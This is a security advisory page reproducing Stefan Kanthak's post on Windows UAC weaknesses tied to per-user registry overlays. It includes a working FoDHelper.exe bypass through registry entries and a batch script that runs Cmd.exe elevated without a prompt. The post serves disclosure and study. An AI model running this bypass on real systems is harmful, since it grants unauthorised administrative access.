exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft User Account Control Nuances

Microsoft User Account Control Nuances
Posted Mar 17, 2023
Authored by Stefan Kanthak

This write up is an overview of how Microsoft's attempts to manage elevated access to executables via registry entries has added over complexity that still allows for escalation.

tags | advisory, registry
SHA-256 | b1516a79355be52fa5902480223a989e031dabbe42f666f261b68eb25bbb8331

Microsoft User Account Control Nuances

Change Mirror Download
Hi @ll,

with Windows 2000, Microsoft virtualised the [HKEY_CLASSES_ROOT] registry
branch: what was just an alias for [HKEY_LOCAL_MACHINE\SOFTWARE\Classes]
before became the overlay of [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] and
[HKEY_CURRENT_USER\Software\Classes] with the latter having precedence:
<https://msdn.microsoft.com/en-us/library/ms724498.aspx>

Note: while [HKEY_LOCAL_MACHINE\SOFTWARE\Classes] is writable only by
(privileged) administrators, [HKEY_CURRENT_USER\Software\Classes]
is writable by the (current) unprivileged user.

With Windows Vista they introduced the "security theatre" called
"User Account Control" (a far better name is "qUACkery"):

<https://blogs.msdn.microsoft.com/uac/2005/12/08/user-account-control/>

| User Account Protection was the preliminary name for a core security
| component of Windows Vista. The component has now been officially named
| User Account Control (UAC).

The qUACkery sort of lobotomises administrator accounts and splits their
brain^Waccess token: the "shell", i.e. EXPLORER.exe, and all programs run
from it use a restricted access token without administrative privileges.
For the (not so few) programs which but need administrative privileges,
Microsoft introduced a "kill switch" in the application manifest:

<https://msdn.microsoft.com/en-us/library/aa374191.aspx>
<https://msdn.microsoft.com/en-us/library/bb756929.aspx>

| <trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
| <security>
| <requestedPrivileges>
| <requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
| </requestedPrivileges>
| </security>
| </trustInfo>

With this loop^Wwormhole, the virtualised [HKEY_CLASSES_ROOT] introduced
with Windows 2000 became but a can of worms: in STANDARD installations of
Windows, applications running with administrative privileges, i.e. an
integrity level above "Medium", now evaluate registry settings (COM CLSIDs,
ProgIDs, URL protocols, ...) which are under control of the unprivileged
user.

<https://msdn.microsoft.com/en-us/library/ms724498.aspx>

| If an application is run with administrator rights and User Account
| Control is disabled, the COM runtime ignores per-user COM configuration
| and accesses only per-machine COM configuration.

<https://msdn.microsoft.com/en-us/library/bb756926.aspx>

| Beginning with Windows Vista® and Windows Server® 2008, if the
| integrity level of a process is higher than Medium, the COM runtime
| ignores per-user COM configuration and accesses only per-machine
| COM configuration. This action reduces the surface area for elevation
| of privilege attacks, preventing a process with standard user privileges
| from configuring a COM object with arbitrary code and having this code
| called from an elevated process.

OOPS: COM CLSIDs have been removed from the can of worms.

But what about ProgIDs and URL protocols?
<https://msdn.microsoft.com/en-us/library/cc144152.aspx>

Demonstration:
~~~~~~~~~~~~~~

1) Start the command processor in the user account created during
Windows setup;

2) Execute the "Feature on Demand" helper application FoDHelper.exe
(which requires administrative privileges, but elevates SILENTLY),
then close the "Immersive Control Panel" window it opened;

3) Add the following registry entries to replace the application run
by the elevated FoDHelper.exe from "Immersive Control Panel" to
"Windows Command Processor" (or an arbitrary other one):

[HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command]
@="C:\\Windows\\System32\\Cmd.exe"

[HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer]
@="qUACkery"

4) Execute FoDHelper.exe again;

5) Remove the registry entries created in step 3.


If you prefer a batch script:

--- quackery.cmd
REG.exe ADD "HKEY_CURRENT_USER\Software\Classes\qUACkery\Shell\Open\Command" /VE /T REG_SZ /D "%COMSPEC%" /F
REG.exe ADD "HKEY_CURRENT_USER\Software\Classes\MS-Settings\CurVer" /VE /T REG_SZ /D "qUACkery" /F
FoDHelper.exe
REG.exe DELETE "HKEY_CURRENT_USER\Software\Classes\MS-Settings" /F
REG.exe DELETE "HKEY_CURRENT_USER\Software\Classes\qUACkery" /F
--- EOF ---


OOPS: Windows Defender blocks the execution of FoDHelper.exe


Spoiler: installation of another anti-virus, for example McAfee,
Bitdefender, Eset, Sophos, Avira, AVG/Avast, TrendMicro,
deactivates Windows Defender and lets FoDHelper.com run
an arbitrary application elevated, without UAC prompt.


stay tuned, and far away from the eternally vulnerable crap oozing out of Redmond
Stefan Kanthak

PS: finding the applications which call the ProgIDs/URL protocols
ms-settings-airplanemode, ms-settings-bluetooth, ms-settings-cellular,
ms-settings-connectabledevices, ms-settings-displays-topology,
ms-settings-emailandaccounts, ms-settings-language, ms-settings-location,
ms-settings-lock, ms-settings-mobilehotspot, ms-settings-notifications,
ms-settings-power, ms-settings-privacy, ms-settings-proximity,
ms-settings-screenrotation, ms-settings-wifi, ms-settings-workplace
is left as an exercise to the reader.

PPS: for all these URL protocols, the wise guys from Redmond added the
following registry entries to ease their exploitation:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ProtocolExecute\ms-settings]
"WarnOnOpen"=dword:00000000
...
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ProtocolExecute\ms-settings-workplace]
"WarnOnOpen"=dword:00000000


Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close